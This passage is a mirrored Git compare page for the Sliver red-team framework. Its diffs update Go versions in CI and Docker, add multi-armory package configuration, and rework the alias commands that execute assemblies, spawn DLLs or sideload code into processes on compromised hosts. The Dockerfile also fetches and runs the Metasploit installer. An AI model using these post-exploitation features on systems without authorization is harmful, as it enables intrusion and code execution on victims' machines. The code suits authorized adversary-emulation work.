mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
155
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
39d0f3b838 | ||
|
|
8f084c99a4 | ||
|
|
87720d8a41 | ||
|
|
f8dd5230c1 | ||
|
|
9296a8abce | ||
|
|
abc8747a51 | ||
|
|
dcbfe10bc4 | ||
|
|
4336f933e0 | ||
|
|
6a4521a4b0 | ||
|
|
bf80f8f7e6 | ||
|
|
174455cbcc | ||
|
|
09564cf241 | ||
|
|
03fa4029d3 | ||
|
|
b33e012f2a | ||
|
|
98f13030f9 | ||
|
|
040863b757 | ||
|
|
1624c84eb6 | ||
|
|
44368b26ad | ||
|
|
0eb93d51c0 | ||
|
|
c7cd14eae2 | ||
|
|
9c9caba8d8 | ||
|
|
4b6219d860 | ||
|
|
a47aeb7e73 | ||
|
|
d3255ec7bb | ||
|
|
4c0e6cb585 | ||
|
|
88e35469b8 | ||
|
|
cd711c1e2f | ||
|
|
723eca2ddd | ||
|
|
0b2e0fa9bc | ||
|
|
9135afd201 | ||
|
|
b3a9ba86e1 | ||
|
|
2211b13c31 | ||
|
|
187394439e | ||
|
|
3b767baca3 | ||
|
|
c1070f917f | ||
|
|
5487df2000 | ||
|
|
97497c9f78 | ||
|
|
ee36676ba2 | ||
|
|
6809d81b66 | ||
|
|
6b876b0a0e | ||
|
|
33ab6096f1 | ||
|
|
0a6636fb71 | ||
|
|
6a30b8a99a | ||
|
|
a3c353baf7 | ||
|
|
5e992e073e | ||
|
|
12d2569c2f | ||
|
|
1abda712c4 | ||
|
|
6dc49f5074 | ||
|
|
2eff697a50 | ||
|
|
143246a9fc | ||
|
|
ab80379e5e | ||
|
|
d8e400f005 | ||
|
|
a4cc570845 | ||
|
|
0072335cc0 | ||
|
|
6bccd35318 | ||
|
|
f37bed31c0 | ||
|
|
dac592d231 | ||
|
|
f98ae8e7fe | ||
|
|
026c1d6ef6 | ||
|
|
4b982f422f | ||
|
|
c2f5460c63 | ||
|
|
214143e9d9 | ||
|
|
2607a021d8 | ||
|
|
e474dc452f | ||
|
|
c28e8e1e0f | ||
|
|
7b2822795c | ||
|
|
cc5f162848 | ||
|
|
83b6bf9147 | ||
|
|
79202297df | ||
|
|
cd4e967cd9 | ||
|
|
ea901f5442 | ||
|
|
a5cd0d0cae | ||
|
|
e9930d01fd | ||
|
|
f83131ef43 | ||
|
|
73d5c3192d | ||
|
|
076db57bba | ||
|
|
db85a76c85 | ||
|
|
662c1c1e18 | ||
|
|
5634b09921 | ||
|
|
f8c8cdfe31 | ||
|
|
cabe48e997 | ||
|
|
cabb1b09cc | ||
|
|
3bb667f814 | ||
|
|
6cb1ffbe4e | ||
|
|
dba5ba5767 | ||
|
|
65a7730bf4 | ||
|
|
e17c363381 | ||
|
|
454ffd7bcd | ||
|
|
be75b1557c | ||
|
|
d12d2fb792 | ||
|
|
4debb053bd | ||
|
|
d45a62867f | ||
|
|
32c7e02f09 | ||
|
|
e0ba712631 | ||
|
|
fd17c4ed20 | ||
|
|
76eb06e6b9 | ||
|
|
7a7f169e0a | ||
|
|
61090be973 | ||
|
|
a0360fac17 | ||
|
|
61210acff0 | ||
|
|
eca785a99a | ||
|
|
0b9442d2b8 | ||
|
|
b6a24b0ab2 | ||
|
|
9f43f73350 | ||
|
|
d6ccb0044c | ||
|
|
5d13415770 | ||
|
|
f4c72d5216 | ||
|
|
bb28d796a4 | ||
|
|
f0b078bcd1 | ||
|
|
e926f1b954 | ||
|
|
9f4988e12a | ||
|
|
124c12bebd | ||
|
|
84acde7db0 | ||
|
|
142bf83ffd | ||
|
|
30587f6e8f | ||
|
|
b290474e5d | ||
|
|
de02d2fa6e | ||
|
|
b286aa979f | ||
|
|
c18fc567a3 | ||
|
|
5bd1f4727c | ||
|
|
619d4994da | ||
|
|
1666d6f5ad | ||
|
|
6443aaba3d | ||
|
|
e14619fffc | ||
|
|
07ec53e148 | ||
|
|
1c9d11f967 | ||
|
|
2da1da7c40 | ||
|
|
85b949a7df | ||
|
|
2c0d46278a | ||
|
|
74653968df | ||
|
|
49b55c7763 | ||
|
|
d02b38681c | ||
|
|
d625c8c2b7 | ||
|
|
9f33e8103a | ||
|
|
abd375f501 | ||
|
|
715c37addf | ||
|
|
754ce39076 | ||
|
|
580f98419d | ||
|
|
c8a7948671 | ||
|
|
9da3112c04 | ||
|
|
12ca498386 | ||
|
|
2f9c1857bb | ||
|
|
ac2ee6dfff | ||
|
|
bfde6a4dc8 | ||
|
|
dc93d054a9 | ||
|
|
173366ba7d | ||
|
|
4bfca79860 | ||
|
|
59b2996862 | ||
|
|
235c666b61 | ||
|
|
a7befbe8a6 | ||
|
|
9baa1c0095 | ||
|
|
af27a2f0ec | ||
|
|
0c7cb4c566 | ||
|
|
bf3846ac30 | ||
|
|
33b21778d0 |
No files matched your search
@@ -42,10 +42,10 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.21
|
||||
- name: Go 1.22
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: "^1.21"
|
||||
go-version: "^1.22"
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
@@ -16,10 +16,10 @@ jobs:
|
||||
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.21
|
||||
- name: Go 1.22
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: "^1.21"
|
||||
go-version: "^1.22"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
|
||||
@@ -63,10 +63,10 @@ jobs:
|
||||
node-version: "lts/*"
|
||||
|
||||
- name: Setup Pages
|
||||
uses: actions/configure-pages@v4
|
||||
uses: actions/configure-pages@v5
|
||||
|
||||
- name: Restore cache
|
||||
uses: actions/cache@v3
|
||||
uses: actions/cache@v4
|
||||
with:
|
||||
path: |
|
||||
.next/cache
|
||||
|
||||
@@ -23,16 +23,15 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.21
|
||||
- name: Go 1.22
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: "^1.21"
|
||||
go-version: "^1.22"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
@@ -57,10 +56,10 @@ jobs:
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.21
|
||||
- name: Go 1.22
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: "^1.21"
|
||||
go-version: "^1.22"
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
@@ -75,9 +74,6 @@ jobs:
|
||||
run: make macos-amd64
|
||||
|
||||
- name: Test MacOS (amd64)
|
||||
env:
|
||||
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
|
||||
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
|
||||
- name: Make MacOS (arm64)
|
||||
@@ -88,10 +84,10 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.21
|
||||
- name: Go 1.22
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: "^1.21"
|
||||
go-version: "^1.22"
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
+3
-4
@@ -9,7 +9,7 @@
|
||||
|
||||
# STAGE: base
|
||||
## Compiles Sliver for use
|
||||
FROM --platform=linux/amd64 golang:1.21.4 as base
|
||||
FROM --platform=linux/amd64 golang:1.22.2 as base
|
||||
|
||||
### Base packages
|
||||
RUN apt-get update --fix-missing && apt-get -y install \
|
||||
@@ -34,7 +34,7 @@ FROM --platform=linux/amd64 base as test
|
||||
RUN apt-get update --fix-missing \
|
||||
&& apt-get -y upgrade \
|
||||
&& apt-get -y install \
|
||||
curl gcc-multilib build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
curl
|
||||
|
||||
RUN /opt/sliver-server unpack --force
|
||||
|
||||
@@ -56,8 +56,7 @@ RUN apt-get update --fix-missing \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
curl libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm gcc-multilib
|
||||
nasm
|
||||
|
||||
### Install MSF for stager generation
|
||||
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
|
||||
|
||||
+58
-19
@@ -27,7 +27,8 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
armoryConfigFileName = "armories.json"
|
||||
ArmoryConfigFileName = "armories.json"
|
||||
DefaultArmoryName = "Default"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -36,9 +37,11 @@ var (
|
||||
// DefaultArmoryRepoURL - The default repo url for the armory
|
||||
DefaultArmoryRepoURL string
|
||||
|
||||
defaultArmoryConfig = &ArmoryConfig{
|
||||
DefaultArmoryConfig = &ArmoryConfig{
|
||||
PublicKey: DefaultArmoryPublicKey,
|
||||
RepoURL: DefaultArmoryRepoURL,
|
||||
Name: DefaultArmoryName,
|
||||
Enabled: true,
|
||||
}
|
||||
)
|
||||
|
||||
@@ -48,29 +51,65 @@ type ArmoryConfig struct {
|
||||
RepoURL string `json:"repo_url"`
|
||||
Authorization string `json:"authorization"`
|
||||
AuthorizationCmd string `json:"authorization_cmd"`
|
||||
Name string `json:"name"`
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
|
||||
// GetArmoriesConfig - The parsed armory config file
|
||||
func GetArmoriesConfig() []*ArmoryConfig {
|
||||
armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
|
||||
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
data, err := os.ReadFile(armoryConfigPath)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
var armoryConfigs []*ArmoryConfig
|
||||
err = json.Unmarshal(data, &armoryConfigs)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
for _, armoryConfig := range armoryConfigs {
|
||||
func RefreshArmoryAuthorization(armories []*ArmoryConfig) {
|
||||
for _, armoryConfig := range armories {
|
||||
if armoryConfig.AuthorizationCmd != "" {
|
||||
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
|
||||
}
|
||||
}
|
||||
return append(armoryConfigs, defaultArmoryConfig)
|
||||
}
|
||||
|
||||
// GetArmoriesConfig - The parsed armory config file
|
||||
func GetArmoriesConfig() []*ArmoryConfig {
|
||||
armoryConfigPath := filepath.Join(GetRootAppDir(), ArmoryConfigFileName)
|
||||
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
|
||||
return []*ArmoryConfig{DefaultArmoryConfig}
|
||||
}
|
||||
data, err := os.ReadFile(armoryConfigPath)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{DefaultArmoryConfig}
|
||||
}
|
||||
var armoryConfigsFromFile []*ArmoryConfig
|
||||
var armoryConfigs []*ArmoryConfig
|
||||
err = json.Unmarshal(data, &armoryConfigsFromFile)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{DefaultArmoryConfig}
|
||||
}
|
||||
|
||||
// Force the default armory to be the last
|
||||
defaultArmorySpecified := false
|
||||
|
||||
for _, config := range armoryConfigsFromFile {
|
||||
if config.Name == DefaultArmoryName {
|
||||
defaultArmorySpecified = true
|
||||
continue
|
||||
} else {
|
||||
armoryConfigs = append(armoryConfigs, config)
|
||||
}
|
||||
}
|
||||
if defaultArmorySpecified {
|
||||
armoryConfigs = append(armoryConfigs, DefaultArmoryConfig)
|
||||
}
|
||||
RefreshArmoryAuthorization(armoryConfigs)
|
||||
|
||||
return armoryConfigs
|
||||
}
|
||||
|
||||
func SaveArmoriesConfig(armories []*ArmoryConfig) error {
|
||||
configData, err := json.Marshal(armories)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
armoryConfigPath := filepath.Join(GetRootAppDir(), ArmoryConfigFileName)
|
||||
err = os.WriteFile(armoryConfigPath, configData, 0640)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
|
||||
|
||||
@@ -36,11 +36,11 @@ func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
||||
aliasLocalPath := args[0]
|
||||
fi, err := os.Stat(aliasLocalPath)
|
||||
if os.IsNotExist(err) {
|
||||
con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
|
||||
con.PrintErrorf("Alias path '%s' does not exist", aliasLocalPath)
|
||||
return
|
||||
}
|
||||
if !fi.IsDir() {
|
||||
InstallFromFile(aliasLocalPath, false, con)
|
||||
InstallFromFile(aliasLocalPath, "", false, con)
|
||||
} else {
|
||||
installFromDir(aliasLocalPath, con)
|
||||
}
|
||||
@@ -100,7 +100,7 @@ func installFromDir(aliasLocalPath string, con *console.SliverClient) {
|
||||
}
|
||||
|
||||
// Install an extension from a .tar.gz file.
|
||||
func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverClient) *string {
|
||||
func InstallFromFile(aliasGzFilePath string, aliasName string, promptToOverwrite bool, con *console.SliverClient) *string {
|
||||
manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
|
||||
@@ -108,12 +108,18 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
}
|
||||
manifest, err := ParseAliasManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
errorMsg := ""
|
||||
if aliasName != "" {
|
||||
errorMsg = fmt.Sprintf("Error processing manifest for alias %s - failed to parse %s: %s\n", aliasName, ManifestFileName, err)
|
||||
} else {
|
||||
errorMsg = fmt.Sprintf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
}
|
||||
con.PrintErrorf(errorMsg)
|
||||
return nil
|
||||
}
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
if !autoOverwrite {
|
||||
if promptToOverwrite {
|
||||
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
@@ -139,7 +145,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
}
|
||||
for _, aliasFile := range manifest.Files {
|
||||
if aliasFile.Path != "" {
|
||||
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
|
||||
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install file: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
@@ -151,7 +157,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
return &installPath
|
||||
}
|
||||
|
||||
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverClient) error {
|
||||
func installArtifact(aliasGzFilePath string, installPath, artifactPath string) error {
|
||||
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, string(os.PathSeparator))))
|
||||
if err != nil {
|
||||
return err
|
||||
|
||||
@@ -92,7 +92,9 @@ type AliasManifest struct {
|
||||
IsReflective bool `json:"is_reflective"`
|
||||
IsAssembly bool `json:"is_assembly"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
RootPath string `json:"-"`
|
||||
ArmoryName string `json:"-"`
|
||||
ArmoryPK string `json:"-"`
|
||||
}
|
||||
|
||||
func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
|
||||
@@ -267,20 +269,20 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
return
|
||||
}
|
||||
// args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
var extArgsStr string
|
||||
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = aliasManifest.DefaultArgs
|
||||
extArgsStr = aliasManifest.DefaultArgs
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
extArgsStr = strings.Join(args, " ")
|
||||
}
|
||||
|
||||
extArgs = strings.TrimSpace(extArgs)
|
||||
extArgsStr = strings.TrimSpace(extArgsStr)
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processArgsStr, _ := cmd.Flags().GetString("process-arguments")
|
||||
// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
|
||||
// The Donut loader has a hard limit of 256 characters for the command line arguments, so
|
||||
// we're alerting the user that the arguments will be truncated.
|
||||
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
|
||||
if len(extArgsStr) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
|
||||
msgStr := ""
|
||||
// The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true).
|
||||
// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
|
||||
@@ -352,13 +354,13 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
|
||||
// Execute Assembly
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Arguments: args,
|
||||
Assembly: binData,
|
||||
Arch: arch,
|
||||
Method: method,
|
||||
@@ -398,11 +400,11 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
|
||||
// Spawn DLL
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Args: args,
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: aliasManifest.Entrypoint,
|
||||
@@ -437,11 +439,11 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
|
||||
// Sideload
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Args: extArgs,
|
||||
Args: args,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
|
||||
+363
-73
@@ -23,6 +23,7 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"slices"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
@@ -54,13 +55,24 @@ type ArmoryPackage struct {
|
||||
RepoURL string `json:"repo_url"`
|
||||
PublicKey string `json:"public_key"`
|
||||
|
||||
IsAlias bool `json:"-"`
|
||||
IsAlias bool `json:"-"`
|
||||
ArmoryName string `json:"-"`
|
||||
/*
|
||||
With support for multiple armories, the command name of a package
|
||||
is not unique anymore, so we need something that is unique
|
||||
to be able to keep track of packages.
|
||||
|
||||
This ID will be a hash calculated from properties of the package.
|
||||
*/
|
||||
ID string `json:"-"`
|
||||
ArmoryPK string `json:"-"`
|
||||
}
|
||||
|
||||
// ArmoryBundle - A list of packages
|
||||
type ArmoryBundle struct {
|
||||
Name string `json:"name"`
|
||||
Packages []string `json:"packages"`
|
||||
Name string `json:"name"`
|
||||
Packages []string `json:"packages"`
|
||||
ArmoryName string `json:"-"`
|
||||
}
|
||||
|
||||
// ArmoryHTTPConfig - Configuration for armory HTTP client
|
||||
@@ -89,48 +101,75 @@ type pkgCacheEntry struct {
|
||||
Alias *alias.AliasManifest
|
||||
Extension *extensions.ExtensionManifest
|
||||
LastErr error
|
||||
// This corresponds to Pkg.ID
|
||||
ID string
|
||||
}
|
||||
|
||||
var (
|
||||
// public key -> armoryCacheEntry
|
||||
indexCache = sync.Map{}
|
||||
// public key -> armoryPkgCacheEntry
|
||||
// package ID -> armoryPkgCacheEntry
|
||||
pkgCache = sync.Map{}
|
||||
// public key -> assets.ArmoryConfig
|
||||
currentArmories = sync.Map{}
|
||||
|
||||
// cacheTime - How long to cache the index/pkg manifests
|
||||
cacheTime = time.Hour
|
||||
//cacheTime = time.Hour
|
||||
cacheTime = 2 * time.Minute
|
||||
|
||||
// This will kill a download if exceeded so needs to be large
|
||||
defaultTimeout = 15 * time.Minute
|
||||
|
||||
// Track whether armories have been initialized so that we know if we need to pull from the config
|
||||
armoriesInitialized = false
|
||||
|
||||
// Track whether the default armory has been removed by the user (this is needed to prevent it from being readded in if they have removed it)
|
||||
defaultArmoryRemoved = false
|
||||
)
|
||||
|
||||
// ArmoryCmd - The main armory command
|
||||
func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
armoriesConfig := assets.GetArmoriesConfig()
|
||||
con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
|
||||
armoriesConfig := getCurrentArmoryConfiguration()
|
||||
if len(armoriesConfig) == 1 {
|
||||
con.Printf("Reading armory index ... ")
|
||||
} else {
|
||||
con.PrintInfof("Reading %d armory indexes ... ", len(armoriesConfig))
|
||||
}
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
indexes := fetchIndexes(armoriesConfig, clientConfig)
|
||||
indexes := fetchIndexes(clientConfig)
|
||||
if len(indexes) != len(armoriesConfig) {
|
||||
con.Printf("errors!\n")
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(indexCacheEntry)
|
||||
if cacheEntry.LastErr != nil {
|
||||
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
con.PrintErrorf("%s (%s) - %s\n", cacheEntry.ArmoryConfig.Name, cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
}
|
||||
return true
|
||||
})
|
||||
} else {
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
armoriesInitialized = true
|
||||
if len(indexes) == 0 {
|
||||
con.PrintInfof("No indexes found\n")
|
||||
return
|
||||
}
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
|
||||
if 0 < len(indexes) {
|
||||
con.PrintInfof("Fetching package information ... ")
|
||||
fetchPackageSignatures(indexes, clientConfig)
|
||||
for _, index := range indexes {
|
||||
errorCount := 0
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
con.PrintInfof("Reading package information for armory %s ... ", index.ArmoryConfig.Name)
|
||||
fetchPackageSignatures(index, clientConfig)
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Something is wrong with this entry
|
||||
pkgCache.Delete(value)
|
||||
return true
|
||||
}
|
||||
if cacheEntry.ArmoryConfig.PublicKey != index.ArmoryConfig.PublicKey {
|
||||
return true
|
||||
}
|
||||
if cacheEntry.LastErr != nil {
|
||||
errorCount++
|
||||
if errorCount == 0 {
|
||||
@@ -149,32 +188,52 @@ func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if errorCount == 0 {
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
if 0 < len(aliases) || 0 < len(exts) {
|
||||
con.Println()
|
||||
PrintArmoryPackages(aliases, exts, con)
|
||||
} else {
|
||||
con.PrintInfof("No packages found\n")
|
||||
}
|
||||
|
||||
}
|
||||
if 0 < len(aliases) || 0 < len(exts) {
|
||||
con.Println()
|
||||
bundles := bundlesInCache()
|
||||
if 0 < len(bundles) {
|
||||
PrintArmoryBundles(bundles, con)
|
||||
} else {
|
||||
con.PrintInfof("No bundles found\n")
|
||||
}
|
||||
PrintArmoryPackages(aliases, exts, con)
|
||||
} else {
|
||||
con.PrintInfof("No indexes found\n")
|
||||
con.PrintInfof("No packages found\n")
|
||||
}
|
||||
con.Println()
|
||||
bundles := bundlesInCache()
|
||||
if 0 < len(bundles) {
|
||||
PrintArmoryBundles(bundles, con)
|
||||
} else {
|
||||
con.PrintInfof("No bundles found\n")
|
||||
}
|
||||
}
|
||||
|
||||
func refresh(clientConfig ArmoryHTTPConfig) {
|
||||
armoriesConfig := assets.GetArmoriesConfig()
|
||||
indexes := fetchIndexes(armoriesConfig, clientConfig)
|
||||
fetchPackageSignatures(indexes, clientConfig)
|
||||
getCurrentArmoryConfiguration()
|
||||
indexes := fetchIndexes(clientConfig)
|
||||
for _, index := range indexes {
|
||||
fetchPackageSignatures(index, clientConfig)
|
||||
}
|
||||
}
|
||||
|
||||
func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
|
||||
func countUniqueCommandsFromManifests(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest) (int, int) {
|
||||
uniqueAliasNames := []string{}
|
||||
uniqueExtensionNames := []string{}
|
||||
|
||||
for _, alias := range aliases {
|
||||
if !slices.Contains(uniqueAliasNames, alias.CommandName) {
|
||||
uniqueAliasNames = append(uniqueAliasNames, alias.CommandName)
|
||||
}
|
||||
}
|
||||
|
||||
for _, ext := range exts {
|
||||
for _, cmd := range ext.ExtCommand {
|
||||
if !slices.Contains(uniqueExtensionNames, cmd.CommandName) {
|
||||
uniqueExtensionNames = append(uniqueExtensionNames, cmd.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return len(uniqueAliasNames), len(uniqueExtensionNames)
|
||||
}
|
||||
|
||||
func packageManifestsInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
@@ -191,6 +250,125 @@ func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest)
|
||||
return aliases, exts
|
||||
}
|
||||
|
||||
func armoryLookupByName(name string) *assets.ArmoryConfig {
|
||||
var result *assets.ArmoryConfig
|
||||
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
indexEntry, ok := value.(indexCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if indexEntry.ArmoryConfig.Name == name {
|
||||
result = indexEntry.ArmoryConfig
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// Returns the packages in the cache with a given name
|
||||
func packageCacheLookupByName(name string) []*pkgCacheEntry {
|
||||
var result []*pkgCacheEntry = make([]*pkgCacheEntry, 0)
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if cacheEntry.Pkg.Name == name {
|
||||
result = append(result, &cacheEntry)
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// Returns the packages in the cache for a given command name
|
||||
func packageCacheLookupByCmd(commandName string) []*pkgCacheEntry {
|
||||
var result []*pkgCacheEntry = make([]*pkgCacheEntry, 0)
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if cacheEntry.Pkg.CommandName == commandName {
|
||||
result = append(result, &cacheEntry)
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// Returns the package in the cache for a given command name and armory
|
||||
func packageCacheLookupByCmdAndArmory(commandName string, armoryPublicKey string) *pkgCacheEntry {
|
||||
var result *pkgCacheEntry
|
||||
